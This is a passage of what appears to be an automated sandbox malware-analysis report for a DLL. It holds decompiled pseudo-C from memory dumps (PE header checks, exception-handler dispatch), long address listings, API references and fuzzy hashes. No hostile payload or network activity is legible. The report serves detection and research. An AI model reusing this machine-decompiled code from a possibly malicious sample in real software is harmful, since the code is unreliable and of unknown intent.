								_t104 = _t102 | 0xffffffff;
								_t61 = NtQueryVirtualMemory(_t104, _t76, 0,  &_v36, 0x1c,  &_a4);
								__eflags = _t61;
								if(_t61 < 0) {
									_t62 = 0;
									__eflags = 0;
								} else {
									_t62 = _a4;
								}
								__eflags = _t62;
								if(_t62 == 0) {
									L59:
									_t63 = _t104;
									goto L60;
								} else {
									__eflags = _v12 - 0x1000000;
									if(_v12 != 0x1000000) {
										goto L59;
									}
									__eflags = _v16 & 0x000000cc;
									if((_v16 & 0x000000cc) == 0) {
										L46:
										_t63 = 1;
										 *0x27ca3c8 = 1;
										__eflags =  *0x27ca3c8;
										if( *0x27ca3c8 != 0) {
											goto L60;
										}
										_t84 =  *0x27ca380; // 0x0
										__eflags = _t84;
										_t93 = _t84;
										if(_t84 <= 0) {
											L51:
											__eflags = _t93;
											if(_t93 != 0) {
												L58:
												 *0x27ca3c8 = 0;
												goto L5;
											}
											_t77 = 0xf;
											__eflags = _t84 - _t77;
											if(_t84 <= _t77) {
												_t77 = _t84;
											}
											_t94 = 0;
											__eflags = _t77;
											if(_t77 < 0) {
												L56:
												__eflags = _t84 - 0x10;
												if(_t84 < 0x10) {
													_t86 = _t84 + 1;
													__eflags = _t86;
													 *0x27ca380 = _t86;
												}
												goto L58;
											} else {
												do {
													_t68 = 0x27ca388 + _t94 * 4;
													_t94 = _t94 + 1;
													__eflags = _t94 - _t77;
													 *_t68 = _t110;
													_t110 =  *_t68;
												} while (_t94 <= _t77);
												goto L56;
											}
										}
										_t69 = 0x27ca384 + _t84 * 4;
										while(1) {
											__eflags =  *_t69 - _t110;
											if( *_t69 == _t110) {
												goto L51;
											}
											_t93 = _t93 - 1;
											_t69 = _t69 - 4;
											__eflags = _t93;
											if(_t93 > 0) {
												continue;
											}
											goto L51;
										}
										goto L51;
									}
									_t87 = _v32;
									__eflags =  *_t87 - 0x5a4d;
									if( *_t87 != 0x5a4d) {
										goto L59;
									}
									_t71 =  *((intOrPtr*)(_t87 + 0x3c)) + _t87;
									__eflags =  *_t71 - 0x4550;
									if( *_t71 != 0x4550) {
										goto L59;
									}
									__eflags =  *((short*)(_t71 + 0x18)) - 0x10b;
									if( *((short*)(_t71 + 0x18)) != 0x10b) {
										goto L59;
									}
									_t78 = _t76 - _t87;
									__eflags =  *((short*)(_t71 + 6));
									_t89 = ( *(_t71 + 0x14) & 0x0000ffff) + _t71 + 0x18;
									if( *((short*)(_t71 + 6)) <= 0) {
										goto L59;
									}
									_t72 =  *((intOrPtr*)(_t89 + 0xc));
									__eflags = _t78 - _t72;
									if(_t78 < _t72) {
										goto L46;
									}
									__eflags = _t78 -  *((intOrPtr*)(_t89 + 8)) + _t72;
									if(_t78 >=  *((intOrPtr*)(_t89 + 8)) + _t72) {
										goto L46;
									}
									__eflags =  *(_t89 + 0x27) & 0x00000080;
									if(( *(_t89 + 0x27) & 0x00000080) != 0) {
										goto L20;
									}
									goto L46;
								}
							} else {
								goto L16;
							}
							while(1) {
								L16:
								__eflags =  *((intOrPtr*)(0x27ca388 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x27ca388 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 + 1;
								__eflags = _t58 - _t81;
								if(_t58 < _t81) {
									continue;
								}
								goto L18;
							}
							__eflags = _t58;
							if(_t58 <= 0) {
								goto L5;
							}
							 *0x27ca3c8 = 1;
							__eflags =  *0x27ca3c8;
							if( *0x27ca3c8 != 0) {
								goto L5;
							}
							__eflags =  *((intOrPtr*)(0x27ca388 + _t58 * 4)) - _t110;
							if( *((intOrPtr*)(0x27ca388 + _t58 * 4)) == _t110) {
								L32:
								_t100 = 0;
								__eflags = _t58;
								if(_t58 < 0) {
									L34:
									 *0x27ca3c8 = 0;
									goto L5;
								} else {
									goto L33;
								}
								do {
									L33:
									_t90 = 0x27ca388 + _t100 * 4;
									_t100 = _t100 + 1;
									__eflags = _t100 - _t58;
									 *_t90 = _t110;
									_t110 =  *_t90;
								} while (_t100 <= _t58);
								goto L34;
							}
							_t25 = _t81 - 1; // -1
							_t58 = _t25;
							__eflags = _t58;
							if(_t58 < 0) {
								L28:
								__eflags = _t81 - 0x10;
								if(_t81 < 0x10) {
									_t81 = _t81 + 1;
									__eflags = _t81;
									 *0x27ca380 = _t81;
								}
								_t28 = _t81 - 1; // 0x0
								_t58 = _t28;
								goto L32;
							} else {
								goto L25;
							}
							while(1) {
								L25:
								__eflags =  *((intOrPtr*)(0x27ca388 + _t58 * 4)) - _t110;
								if( *((intOrPtr*)(0x27ca388 + _t58 * 4)) == _t110) {
									break;
								}
								_t58 = _t58 - 1;
								__eflags = _t58;
								if(_t58 >= 0) {
									continue;
								}
								break;
							}
							__eflags = _t58;
							if(__eflags >= 0) {
								if(__eflags == 0) {
									goto L34;
								}
								goto L32;
							}
							goto L28;
						}
						_t75 =  *((intOrPtr*)(_t108 - 8));
						__eflags = _t75 - _v8;
						if(_t75 < _v8) {
							goto L20;
						}
						__eflags = _t75 - _t108;
						if(_t75 >= _t108) {
							goto L20;
						}
						goto L15;
					}
					L5:
					_t63 = 1;
					goto L60;
				} else {
					goto L3;
				}
			}




































                    0x027c855b
                    0x027c855e
                    0x027c8564
                    0x027c8582
                    0x00000000
                    0x027c8582
                    0x027c856c
                    0x027c8575
                    0x027c857b
                    0x027c858a
                    0x027c858d
                    0x027c8590
                    0x027c859a
                    0x027c859a
                    0x027c859c
                    0x027c859f
                    0x027c85a1
                    0x027c85a1
                    0x027c85a3
                    0x027c85a6
                    0x00000000
                    0x00000000
                    0x027c85a8
                    0x027c85aa
                    0x027c8610
                    0x027c8610
                    0x027c876e
                    0x00000000
                    0x027c876e
                    0x027c85ac
                    0x027c85ac
                    0x027c85b0
                    0x027c85b2
                    0x027c85b2
                    0x027c85b2
                    0x027c85b2
                    0x027c85b5
                    0x027c85b6
                    0x027c85b9
                    0x027c85b9
                    0x027c85bd
                    0x027c85c1
                    0x027c85cf
                    0x027c85cf
                    0x027c85d7
                    0x027c85dd
                    0x027c85df
                    0x027c85e1
                    0x027c85f1
                    0x027c85fe
                    0x027c8602
                    0x027c8607
                    0x027c8609
                    0x027c8687
                    0x027c8687
                    0x027c860b
                    0x027c860b
                    0x027c860b
                    0x027c8689
                    0x027c868b
                    0x027c876c
                    0x027c876c
                    0x00000000
                    0x027c8691
                    0x027c8691
                    0x027c8698
                    0x00000000
                    0x00000000
                    0x027c869e
                    0x027c86a2
                    0x027c86fe
                    0x027c8700
                    0x027c8708
                    0x027c870a
                    0x027c870c
                    0x00000000
                    0x00000000
                    0x027c870e
                    0x027c8714
                    0x027c8716
                    0x027c8718
                    0x027c872d
                    0x027c872d
                    0x027c872f
                    0x027c875e
                    0x027c8765
                    0x00000000
                    0x027c8765
                    0x027c8733
                    0x027c8734
                    0x027c8736
                    0x027c8738
                    0x027c8738
                    0x027c873a
                    0x027c873c
                    0x027c873e
                    0x027c8752
                    0x027c8752
                    0x027c8755
                    0x027c8757
                    0x027c8757
                    0x027c8758
                    0x027c8758
                    0x00000000
                    0x027c8740
                    0x027c8740
                    0x027c8740
                    0x027c8749
                    0x027c874a
                    0x027c874c
                    0x027c874e
                    0x027c874e
                    0x00000000
                    0x027c8740
                    0x027c873e
                    0x027c871a
                    0x027c8721
                    0x027c8721
                    0x027c8723
                    0x00000000
                    0x00000000
                    0x027c8725
                    0x027c8726
                    0x027c8729
                    0x027c872b
                    0x00000000
                    0x00000000
                    0x00000000
                    0x027c872b
                    0x00000000
                    0x027c8721
                    0x027c86a4
                    0x027c86a7
                    0x027c86ac
                    0x00000000
                    0x00000000
                    0x027c86b5
                    0x027c86b7
                    0x027c86bd
                    0x00000000
                    0x00000000
                    0x027c86c3
                    0x027c86c9
                    0x00000000
                    0x00000000
                    0x027c86cf
                    0x027c86d1
                    0x027c86da
                    0x027c86de
                    0x00000000
                    0x00000000
                    0x027c86e4
                    0x027c86e7
                    0x027c86e9
                    0x00000000
                    0x00000000
                    0x027c86f0
                    0x027c86f2
                    0x00000000
                    0x00000000
                    0x027c86f4
                    0x027c86f8
                    0x00000000
                    0x00000000
                    0x00000000
                    0x027c86f8
                    0x00000000
                    0x00000000
                    0x00000000
                    0x027c85e3
                    0x027c85e3
                    0x027c85e3
                    0x027c85ea
                    0x00000000
                    0x00000000
                    0x027c85ec
                    0x027c85ed
                    0x027c85ef
                    0x00000000
                    0x00000000
                    0x00000000
                    0x027c85ef
                    0x027c8617
                    0x027c8619
                    0x00000000
                    0x00000000
                    0x027c8629
                    0x027c862b
                    0x027c862d
                    0x00000000
                    0x00000000
                    0x027c8633
                    0x027c863a
                    0x027c8666
                    0x027c8666
                    0x027c8668
                    0x027c866a
                    0x027c867e
                    0x027c8680
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00000000
                    0x027c866c
                    0x027c866c
                    0x027c866c
                    0x027c8675
                    0x027c8676
                    0x027c8678
                    0x027c867a
                    0x027c867a
                    0x00000000
                    0x027c866c
                    0x027c863c
                    0x027c863c
                    0x027c863f
                    0x027c8641
                    0x027c8653
                    0x027c8653
                    0x027c8656
                    0x027c8658
                    0x027c8658
                    0x027c8659
                    0x027c8659
                    0x027c865f
                    0x027c865f
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00000000
                    0x027c8643
                    0x027c8643
                    0x027c8643
                    0x027c864a
                    0x00000000
                    0x00000000
                    0x027c864c
                    0x027c864c
                    0x027c864d
                    0x00000000
                    0x00000000
                    0x00000000
                    0x027c864d
                    0x027c864f
                    0x027c8651
                    0x027c8664
                    0x00000000
                    0x00000000
                    0x00000000
                    0x027c8664
                    0x00000000
                    0x027c8651
                    0x027c85c3
                    0x027c85c6
                    0x027c85c9
                    0x00000000
                    0x00000000
                    0x027c85cb
                    0x027c85cd
                    0x00000000
                    0x00000000
                    0x00000000
                    0x027c85cd
                    0x027c8592
                    0x027c8594
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00000000

                    APIs
                    • NtQueryVirtualMemory.NTDLL(?,?,00000000,?,0000001C,00000000), ref: 027C8602
                    Memory Dump Source
                    • Source File: 00000000.00000002.637526622.00000000027C1000.00000020.10000000.00040000.00000000.sdmp, Offset: 027C0000, based on PE: true
                    • Associated: 00000000.00000002.637514529.00000000027C0000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637554686.00000000027C9000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637566519.00000000027CA000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637576759.00000000027CC000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_27c0000_loaddll32.jbxd
                    Similarity
                    • API ID: MemoryQueryVirtual
                    • String ID:
                    • API String ID: 2850889275-0
                    • Opcode ID: a7d9d780f5a6032720844388ac84e35860d8b3c8233d038f6da49485d0b4d6ff
                    • Instruction ID: a26608725a8a43cc95cdd8296e51dd5ea685158199fd88e42bf9d62d1fda65c5
                    • Opcode Fuzzy Hash: a7d9d780f5a6032720844388ac84e35860d8b3c8233d038f6da49485d0b4d6ff
                    • Instruction Fuzzy Hash: 3861F530A006168FCB2BDE78D59476973A2FB85758F38893DD846D7282F771D842CB52
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB8AEC0 Relevance: 1.6, APIs: 1, Instructions: 144COMMON
                    Download Yara Rule
                    APIs
                    • IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 6CB8AED6
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: FeaturePresentProcessor
                    • String ID:
                    • API String ID: 2325560087-0
                    • Opcode ID: a468e5a171112a8d301695a40ab49efac941df4e43b234f6c7ac92783f55bd3a
                    • Instruction ID: 4542ce010d1fcc5f500e128b28ab86ce56ed18c1b6a079f6ee770ac78e683886
                    • Opcode Fuzzy Hash: a468e5a171112a8d301695a40ab49efac941df4e43b234f6c7ac92783f55bd3a
                    • Instruction Fuzzy Hash: 78518AB1A022458BEF15CF65C98179EBBF4FB48314F24852AD825EB680D778D900CF65
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB922BF Relevance: 1.6, APIs: 1, Instructions: 140COMMON
                    Download Yara Rule
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID:
                    • String ID:
                    • API String ID:
                    • Opcode ID: 20489b52ee81229cd497eb08e02d8d494d3c70aa863382ccad2c5b6bd9a0caaa
                    • Instruction ID: fa04a9b01d1c3020177a7a8570ea6042a3203134ff488f58bc5332fbd096ecc0
                    • Opcode Fuzzy Hash: 20489b52ee81229cd497eb08e02d8d494d3c70aa863382ccad2c5b6bd9a0caaa
                    • Instruction Fuzzy Hash: E641A1B5C05258AFDB10DF69CC88AEEBBB8EB46304F1442E9E419D3200DA359E858F61
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00AE0AA6 Relevance: 1.3, Strings: 1, Instructions: 30COMMON
                    Download Yara Rule
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.637350718.0000000000AE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00AE0000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_ae0000_loaddll32.jbxd
                    Similarity
                    • API ID:
                    • String ID: f"J
                    • API String ID: 0-2191556654
                    • Opcode ID: 0b0d496963ee42b148e5609b5dd6a7d5706a11c0eadbc4494b267e287a933f62
                    • Instruction ID: 20d0c6328732e241d21fec371e9120db158d29c5f0b375771b714d78a3f29c5a
                    • Opcode Fuzzy Hash: 0b0d496963ee42b148e5609b5dd6a7d5706a11c0eadbc4494b267e287a933f62
                    • Instruction Fuzzy Hash: CBF0F436211289DFCB11CF49D5C0E9AB3B5FB98364F28C566E8059B205C374EE85CB50
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB93391 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON
                    Download Yara Rule
                    APIs
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: HeapProcess
                    • String ID:
                    • API String ID: 54951025-0
                    • Opcode ID: 3334724d77a79de2c169d998869c984bd9eb45541d366be3e09ce39bedd89230
                    • Instruction ID: 3bf2bf47a674ce56e17dc980afc7d21816f9f0c17637d6156b6871b24b8ee6ec
                    • Opcode Fuzzy Hash: 3334724d77a79de2c169d998869c984bd9eb45541d366be3e09ce39bedd89230
                    • Instruction Fuzzy Hash: 5EA001B0B422118B9B408E3A86492193AF9AA5B6D175594A9A805C7560EA2888919A0A
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00AE0C5A Relevance: .1, Instructions: 82COMMON
                    Download Yara Rule
                    Memory Dump Source
                    • Source File: 00000000.00000002.637350718.0000000000AE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00AE0000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_ae0000_loaddll32.jbxd
                    Similarity
                    • API ID:
                    • String ID:
                    • API String ID:
                    • Opcode ID: 6921f6afc39b0756f10718f0f1b60fbc94b6066acfd5990aecf63ab937fb7b45
                    • Instruction ID: 4022a7d0492009d26c5f8dd2d19857e28cde40c09700486eba9576131d482f9c
                    • Opcode Fuzzy Hash: 6921f6afc39b0756f10718f0f1b60fbc94b6066acfd5990aecf63ab937fb7b45
                    • Instruction Fuzzy Hash: 192178366002858BDB54CF5ACCC1DA673A5EBE43647384699DC85DB306EAB0FDC2CB64
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00E522A4 Relevance: .1, Instructions: 77COMMONCrypto
                    Download Yara Rule
                    C-Code - Quality: 71%
                    			E00E522A4(signed int* __eax, void* __ebx, signed int __edx, char _a4, long _a8, intOrPtr _a12) {
				intOrPtr _v8;
				char _v12;
				void* __ebp;
				signed int* _t43;
				char _t44;
				void* _t46;
				void* _t49;
				intOrPtr* _t53;
				void* _t54;
				void* _t65;
				long _t66;
				signed int* _t80;
				signed int* _t82;
				void* _t84;
				signed int _t86;
				void* _t89;
				void* _t95;
				void* _t96;
				void* _t99;
				void* _t106;

				_t43 = _t84;
				_t65 = __ebx + 2;
				 *_t43 =  *_t43 ^ __edx ^  *__eax;
				_t89 = _t95;
				_t96 = _t95 - 8;
				_push(_t65);
				_push(_t84);
				_push(_t89);
				asm("cld");
				_t66 = _a8;
				_t44 = _a4;
				if(( *(_t44 + 4) & 0x00000006) != 0) {
					_push(_t89);
					E00E5240B(_t66 + 0x10, _t66, 0xffffffff);
					_t46 = 1;
				} else {
					_v12 = _t44;
					_v8 = _a12;
					 *((intOrPtr*)(_t66 - 4)) =  &_v12;
					_t86 =  *(_t66 + 0xc);
					_t80 =  *(_t66 + 8);
					_t49 = E00E524C5(_t66);
					_t99 = _t96 + 4;
					if(_t49 == 0) {
						 *(_a4 + 4) =  *(_a4 + 4) | 0x00000008;
						goto L11;
					} else {
						while(_t86 != 0xffffffff) {
							_t53 =  *((intOrPtr*)(_t80 + 4 + (_t86 + _t86 * 2) * 4));
							if(_t53 == 0) {
								L8:
								_t80 =  *(_t66 + 8);
								_t86 = _t80[_t86 + _t86 * 2];
								continue;
							} else {
								_t54 =  *_t53();
								_t89 = _t89;
								_t86 = _t86;
								_t66 = _a8;
								_t55 = _t54;
								_t106 = _t54;
								if(_t106 == 0) {
									goto L8;
								} else {
									if(_t106 < 0) {
										_t46 = 0;
									} else {
										_t82 =  *(_t66 + 8);
										E00E523B0(_t55, _t66);
										_t89 = _t66 + 0x10;
										E00E5240B(_t89, _t66, 0);
										_t99 = _t99 + 0xc;
										E00E524A7(_t82[2], 1);
										 *(_t66 + 0xc) =  *_t82;
										_t66 = 0;
										_t86 = 0;
										 *(_t82[2])();
										goto L8;
									}
								}
							}
							goto L13;
						}
						L11:
						_t46 = 1;
					}
				}
				L13:
				return _t46;
			}























                    0x00e522a8
                    0x00e522a9
                    0x00e522aa
                    0x00e522ad
                    0x00e522af
                    0x00e522b2
                    0x00e522b3
                    0x00e522b5
                    0x00e522b6
                    0x00e522b7
                    0x00e522ba
                    0x00e522c4
                    0x00e52375
                    0x00e5237c
                    0x00e52385
                    0x00e522ca
                    0x00e522ca
                    0x00e522d0
                    0x00e522d6
                    0x00e522d9
                    0x00e522dc
                    0x00e522e0
                    0x00e522e5
                    0x00e522ea
                    0x00e5236a
                    0x00000000
                    0x00e522ec
                    0x00e522ec
                    0x00e522f8
                    0x00e522fa
                    0x00e52355
                    0x00e52355
                    0x00e5235b
                    0x00000000
                    0x00e522fc
                    0x00e5230b
                    0x00e5230d
                    0x00e5230e
                    0x00e5230f
                    0x00e52312
                    0x00e52312
                    0x00e52314
                    0x00000000
                    0x00e52316
                    0x00e52316
                    0x00e52360
                    0x00e52318
                    0x00e52318
                    0x00e5231c
                    0x00e52324
                    0x00e52329
                    0x00e5232e
                    0x00e5233a
                    0x00e52342
                    0x00e52349
                    0x00e5234f
                    0x00e52353
                    0x00000000
                    0x00e52353
                    0x00e52316
                    0x00e52314
                    0x00000000
                    0x00e522fa
                    0x00e5236e
                    0x00e5236e
                    0x00e5236e
                    0x00e522ea
                    0x00e5238a
                    0x00e52391

                    Memory Dump Source
                    • Source File: 00000000.00000002.637417203.0000000000E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E50000, based on PE: true
                    • Associated: 00000000.00000002.637417203.0000000000E55000.00000040.00001000.00020000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_e50000_loaddll32.jbxd
                    Similarity
                    • API ID:
                    • String ID:
                    • API String ID:
                    • Opcode ID: 12a7070065f657aa0aacf06b7ef6137888dfa06173cfdd6141a47a1bb7c7c469
                    • Instruction ID: cb8211dcda47e4463c5840e0e550c59cda73deaae01560a6a05211777fe3086b
                    • Opcode Fuzzy Hash: 12a7070065f657aa0aacf06b7ef6137888dfa06173cfdd6141a47a1bb7c7c469
                    • Instruction Fuzzy Hash: FA21D8329002059BCB14DF68C8808ABB7A9FF49350F09845CEE19AB245D730F919C7E0
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 027C832C Relevance: .1, Instructions: 77COMMONCrypto
                    Download Yara Rule
                    C-Code - Quality: 71%
                    			E027C832C(signed int* __eax, void* __ebx, signed int __edx, char _a4, long _a8, intOrPtr _a12) {
				intOrPtr _v8;
				char _v12;
				void* __ebp;
				signed int* _t43;
				char _t44;
				void* _t46;
				void* _t49;
				intOrPtr* _t53;
				void* _t54;
				void* _t65;
				long _t66;
				signed int* _t80;
				signed int* _t82;
				void* _t84;
				signed int _t86;
				void* _t89;
				void* _t95;
				void* _t96;
				void* _t99;
				void* _t106;

				_t43 = _t84;
				_t65 = __ebx + 2;
				 *_t43 =  *_t43 ^ __edx ^  *__eax;
				_t89 = _t95;
				_t96 = _t95 - 8;
				_push(_t65);
				_push(_t84);
				_push(_t89);
				asm("cld");
				_t66 = _a8;
				_t44 = _a4;
				if(( *(_t44 + 4) & 0x00000006) != 0) {
					_push(_t89);
					E027C8497(_t66 + 0x10, _t66, 0xffffffff);
					_t46 = 1;
				} else {
					_v12 = _t44;
					_v8 = _a12;
					 *((intOrPtr*)(_t66 - 4)) =  &_v12;
					_t86 =  *(_t66 + 0xc);
					_t80 =  *(_t66 + 8);
					_t49 = E027C8551(_t66);
					_t99 = _t96 + 4;
					if(_t49 == 0) {
						 *(_a4 + 4) =  *(_a4 + 4) | 0x00000008;
						goto L11;
					} else {
						while(_t86 != 0xffffffff) {
							_t53 =  *((intOrPtr*)(_t80 + 4 + (_t86 + _t86 * 2) * 4));
							if(_t53 == 0) {
								L8:
								_t80 =  *(_t66 + 8);
								_t86 = _t80[_t86 + _t86 * 2];
								continue;
							} else {
								_t54 =  *_t53();
								_t89 = _t89;
								_t86 = _t86;
								_t66 = _a8;
								_t55 = _t54;
								_t106 = _t54;
								if(_t106 == 0) {
									goto L8;
								} else {
									if(_t106 < 0) {
										_t46 = 0;
									} else {
										_t82 =  *(_t66 + 8);
										E027C843C(_t55, _t66);
										_t89 = _t66 + 0x10;
										E027C8497(_t89, _t66, 0);
										_t99 = _t99 + 0xc;
										E027C8533(_t82[2]);
										 *(_t66 + 0xc) =  *_t82;
										_t66 = 0;
										_t86 = 0;
										 *(_t82[2])(1);
										goto L8;
									}
								}
							}
							goto L13;
						}
						L11:
						_t46 = 1;
					}
				}
				L13:
				return _t46;
			}























                    0x027c8330
                    0x027c8331
                    0x027c8332
                    0x027c8335
                    0x027c8337
                    0x027c833a
                    0x027c833b
                    0x027c833d
                    0x027c833e
                    0x027c833f
                    0x027c8342
                    0x027c834c
                    0x027c83fd
                    0x027c8404
                    0x027c840d
                    0x027c8352
                    0x027c8352
                    0x027c8358
                    0x027c835e
                    0x027c8361
                    0x027c8364
                    0x027c8368
                    0x027c836d
                    0x027c8372
                    0x027c83f2
                    0x00000000
                    0x027c8374
                    0x027c8374
                    0x027c8380
                    0x027c8382
                    0x027c83dd
                    0x027c83dd
                    0x027c83e3
                    0x00000000
                    0x027c8384
                    0x027c8393
                    0x027c8395
                    0x027c8396
                    0x027c8397
                    0x027c839a
                    0x027c839a
                    0x027c839c
                    0x00000000
                    0x027c839e
                    0x027c839e
                    0x027c83e8
                    0x027c83a0
                    0x027c83a0
                    0x027c83a4
                    0x027c83ac
                    0x027c83b1
                    0x027c83b6
                    0x027c83c2
                    0x027c83ca
                    0x027c83d1
                    0x027c83d7
                    0x027c83db
                    0x00000000
                    0x027c83db
                    0x027c839e
                    0x027c839c
                    0x00000000
                    0x027c8382
                    0x027c83f6
                    0x027c83f6
                    0x027c83f6
                    0x027c8372
                    0x027c8412
                    0x027c8419

                    Memory Dump Source
                    • Source File: 00000000.00000002.637526622.00000000027C1000.00000020.10000000.00040000.00000000.sdmp, Offset: 027C0000, based on PE: true
                    • Associated: 00000000.00000002.637514529.00000000027C0000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637554686.00000000027C9000.00000002.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637566519.00000000027CA000.00000004.10000000.00040000.00000000.sdmpDownload File
                    • Associated: 00000000.00000002.637576759.00000000027CC000.00000002.10000000.00040000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_27c0000_loaddll32.jbxd
                    Similarity
                    • API ID:
                    • String ID:
                    • API String ID:
                    • Opcode ID: 4f37e18b72ef76f3e50d9b898edfd48ae2b22ba2880acf1ff50920e361efee75
                    • Instruction ID: fdaf51f69dc717dc9e2b367f7819bcf8180128291f545f994e6a0cab02c2ccb3
                    • Opcode Fuzzy Hash: 4f37e18b72ef76f3e50d9b898edfd48ae2b22ba2880acf1ff50920e361efee75
                    • Instruction Fuzzy Hash: 0221F5329002049FCB12EF78C8C49ABBBA6FF45350B5A81ADDD159B245E730FA15CBE1
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB8C140 Relevance: .1, Instructions: 76COMMONLIBRARYCODE
                    Download Yara Rule
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID:
                    • String ID:
                    • API String ID:
                    • Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
                    • Instruction ID: 9619e4f093abac99adcd56643f1907e5a96c385dd0d9be2b03e09952d26470df
                    • Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
                    • Instruction Fuzzy Hash: 0B1108F73C71C243E200B93DC8F47A6A395EAC5229778436AE1618BE58D22391459601
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00AE12C9 Relevance: .0, Instructions: 31COMMON
                    Download Yara Rule
                    Memory Dump Source
                    • Source File: 00000000.00000002.637350718.0000000000AE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00AE0000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_ae0000_loaddll32.jbxd
                    Similarity
                    • API ID:
                    • String ID:
                    • API String ID:
                    • Opcode ID: a24434dc03577301303872f3cd2f9d32f5d6cb418a8a76797b8cab2b08d0bac9
                    • Instruction ID: b9c406d9ca0e6152d5df95522321ea6694b96d97cc7ef83bf3e7778826574b17
                    • Opcode Fuzzy Hash: a24434dc03577301303872f3cd2f9d32f5d6cb418a8a76797b8cab2b08d0bac9
                    • Instruction Fuzzy Hash: 87F03A3660444AEFDB05CF86D5409ADF7B6FBD4364F30C126D105A7600D330AA969B80
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB91FD6 Relevance: .0, Instructions: 22COMMONLIBRARYCODE
                    Download Yara Rule
                    Memory Dump Source
